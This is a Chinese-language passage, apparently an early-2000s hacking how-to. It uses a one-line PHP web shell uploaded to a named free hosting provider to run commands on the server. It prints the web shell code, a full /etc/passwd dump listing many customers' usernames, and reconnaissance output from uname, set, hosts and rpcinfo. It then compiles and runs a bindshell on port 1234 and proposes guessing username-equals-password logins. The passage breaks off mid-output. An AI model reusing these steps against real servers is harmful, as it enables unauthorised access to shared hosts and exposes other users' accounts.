这些站点的问题主要出在允许使用system(),exec()等等这些函数,熟悉php的朋友应该知道,这些函数是调用系统指令的(虽然通过web server php程序只能有nobody权限),而且一般用户只要申请一个空间就可以获取局部的可写权限,令用户可以写一个web shell程序执行命令.在这些服务器上一般用户不能够登陆,也就是nologin(没有登陆shell,管理员可没那么"慷慨"!),这样利用system(),exec()这些函数就可以bind一个shell出来~!本文以虎翼网(www.51.net)的空间为例子(他是不是所有的服务器都有这个毛病我不知道~我只试验了我的空间所在的服务器):
1.写一个webshell先(php很容易做到)
?php
#shell.php3
echo"<pre";
system("$cmd");
echo"
";
?
2.上传到空间
3.执行(具体的服务器马赛克处理)
lynx http://xxx.51.net/cgi-bin/shell.php?cmd=id (看一下权限到底多大)
uid=171047(xxxx) gid=51(xxx) groups=51(xxx), 65534(nobody)
root真的很吝啬啊!
lynx http://xxx.51.net/cgi-bin/shell.php?cmd=uname -ras(看看系统)
FreeBSD xxx.51.net 3.3-RELEASE FreeBSD 3.3-RELEASE #11: Tue Mar 20
00:58:09 CST 2001 root@51.net:/usr/src/sys/compile/51NET i386
lynx http://xxx.51.net/cgi-bin/shell.php?cmd=cat
/etc/passwd(shadow是铁定看不到)
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:107353:51:USER:/home/tty:/local/bin/null
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin
news:*:8:8:News Subsystem:/:/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/sbin/nologin
uucp:*:66:66:UUCP
pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico
xten:*:67:67:X-10 daemon:/usr/local/xten:/sbin/nologin
pop:*:68:6:Post Office Owner:/nonexistent:/sbin/nologin
ftp:*:70:70:FTP Daemon:/nonexistent:/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin
quotauser1:*:997:51:quotauser:/home/quotauser1:/sbin/nologin
quotauser2:*:998:51:quotauser:/home/quotauser2:/sbin/nologin
quotauser3:*:999:51:quotauser:/home/quotauser3:/sbin/nologin
tian:*:1002:1002::/local/tian:/local/bin/ksh
sysadmin:*:1001:1001:System
Administrator:/local/sysadmin:/local/bin/ksh
test2:*:9999:51::/home/test2:/local/bin/null
xhjj:*:106200:51:USER:/home/xhjj:/sbin/nologin
zhinan:*:106201:51:USER:/home/zhinan:/local/bin/null
yes2:*:106202:51:USER:/home/yes2:/local/bin/null
daboy:*:106203:51:USER:/home/daboy:/local/bin/null
yesky:*:106204:51:USER:/home/yesky:/local/bin/null
yesk:*:106205:51:USER:/home/yesk:/local/bin/null
lnsyzzg:*:106206:51:USER:/home/lnsyzzg:/local/bin/null
fog:*:106207:51:USER:/home/fog:/local/bin/null
renshou:*:106208:51:USER:/home/renshou:/local/bin/null
hilen:*:106209:51:USER:/home/hilen:/local/bin/null
hapybird:*:106210:51:USER:/home/hapybird:/sbin/nologin
xiewei:*:106211:51:USER:/home/xiewei:/sbin/nologin
wwwer:*:106212:51:USER:/home/wwwer:/local/bin/null
larry:*:106213:51:USER:/home/larry:/local/bin/null
sunboys:*:106214:51:USER:/home/sunboys:/local/bin/null
everydayyuki:*:106215:51:USER:/home/everydayyuki:/local/bin/null
linguanxi:*:106216:51:USER:/home/linguanxi:/local/bin/null
baobao:*:106217:51:USER:/home/baobao:/local/bin/null
chaoshan:*:106218:51:USER:/home/chaoshan:/local/bin/null
hrstudio:*:106219:51:USER:/home/hrstudio:/local/bin/null
dengxian:*:106220:51:USER:/home/dengxian:/local/bin/null
simonstone:*:106221:51:USER:/home/simonstone:/local/bin/null
chenjian:*:106222:51:USER:/home/chenjian:/local/bin/null
lvxiangml:*:106223:51:USER:/home/lvxiangml:/local/bin/null
zzbxaxa:*:106224:51:USER:/home/zzbxaxa:/local/bin/null
pc2000:*:106225:51:USER:/home/pc2000:/local/bin/null
startexcel:*:106226:51:USER:/home/startexcel:/local/bin/null
model:*:106227:51:USER:/home/model:/local/bin/null
leogirl:*:106228:51:USER:/home/leogirl:/local/bin/null
fohcn:*:106229:51:USER:/home/fohcn:/local/bin/null
ljok:*:106230:51:USER:/home/ljok:/local/bin/null
baorui:*:106231:51:USER:/home/baorui:/local/bin/null
fky-jack:*:106232:51:USER:/home/fky-jack:/local/bin/null
zhaowen:*:106233:51:USER:/home/zhaowen:/local/bin/null
xiaojiaoya:*:106234:51:USER:/home/xiaojiaoya:/local/bin/null
zyinter:*:106235:51:USER:/home/zyinter:/local/bin/null
power:*:106236:51:USER:/home/power:/local/bin/null
feefan:*:106237:51:USER:/home/feefan:/local/bin/null
paradise:*:106238:51:USER:/home/paradise:/local/bin/null
wulc:*:106239:51:USER:/home/wulc:/local/bin/null
jcm:*:106240:51:USER:/home/jcm:/local/bin/null
liangxiaom:*:106241:51:USER:/home/liangxiaom:/local/bin/null
jingder:*:106242:51:USER:/home/jingder:/local/bin/null
hanjun:*:106243:51:USER:/home/hanjun:/local/bin/null
adai:*:106244:51:USER:/home/adai:/local/bin/null
fightben:*:106245:51:USER:/home/fightben:/local/bin/null
lihonghui-ooo:*:106246:51:USER:/home/lihonghui-ooo:/local/bin/null
xeno:*:106247:51:USER:/home/xeno:/local/bin/null
..................(太多了~省略)
只有几个用户有shell可以登陆,cp到我的目录下面,等一下分离出usrename看看有没有人username=passwd的~呵呵~
lynx http://xxx.51.net/cgi-bin/shell.php?cmd=set
HOME=/
PS1=$
OPTIND=1
PS2=
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin
IFS=
好差的"环境",被设置成这样....
lynx http://xxx.51.net/cgi-bin/shell.php?cmd=cat /etc/hosts
# $FreeBSD: src/etc/hosts,v 1.9.2.1 1999/08/29 14:18:44 peter Exp $
#
# Host Database
# This file should contain the addresses and aliases
# for local hosts that share this file.
# In the presence of the domain name service or NIS, this file may
# not be consulted at all; see /etc/host.conf for the resolution
order.
#
#
127.0.0.1 localhost localhost.my.domain myname.my.domain
#
# Imaginary network.
#10.0.0.2 myname.my.domain myname
#10.0.0.3 myfriend.my.domain myfriend
#
# According to RFC 1918, you can use the following IP networks for
# private nets which will never be connected to the Internet:
#
# 10.0.0.0 - 10.255.255.255
# 172.16.0.0 - 172.31.255.255
# 192.168.0.0 - 192.168.255.255
#
#
不算太小啊~hosts ~
lynx http://xxx.51.net/cgi-bin/shell.php?cmd=whereis -b gcc
(老天保佑~有gcc)
gcc:/usr/sbin/gcc(万岁!!!!!!!!!!!!)
我来试试看~弄一个大家伙上去,编译一下,哈哈~速度好快!
webshell太累了,bind一个shell出来方便一点...(上传binshell程序,自己写也可以用perl/C,都不太难)
lynx http://xxx.51.net/cgi-bin/shell.php?cmd=gcc -o bind bindshell.c
lynx http://xxx.51.net/cgi-bin/shell.php?cmd=./bind 1234
bind shell too port 1234
telnet xxx.51.net 1234
.....下面省略,反正就可以执行命令了
嗯~好像这台没装MySQL,可惜~呵呵~~~~~~~~~,对了oso.com.cn的好像有~,不过最近停了.....
lynx http://xxx.51.net/cgi-bin/shell.php?cmd=/usr/sbin/rpcinfo -p
localhost
portmapper 100000 portmap sunrpc
rstatd 100001 rstat rstat_svc rup perfmeter
rusersd 100002 rusers
nfs 100003 nfsprog
ypserv 100004 ypprog
mountd 100005 mount showmount
ypbind 100007
walld 100008 rwall shutdown
yppasswdd 100009 yppasswd
etherstatd 100010 etherstat
rquotad 100011 rquotaprog quota rquota
sprayd 100012 spray
3270_mapper 100013
rje_ma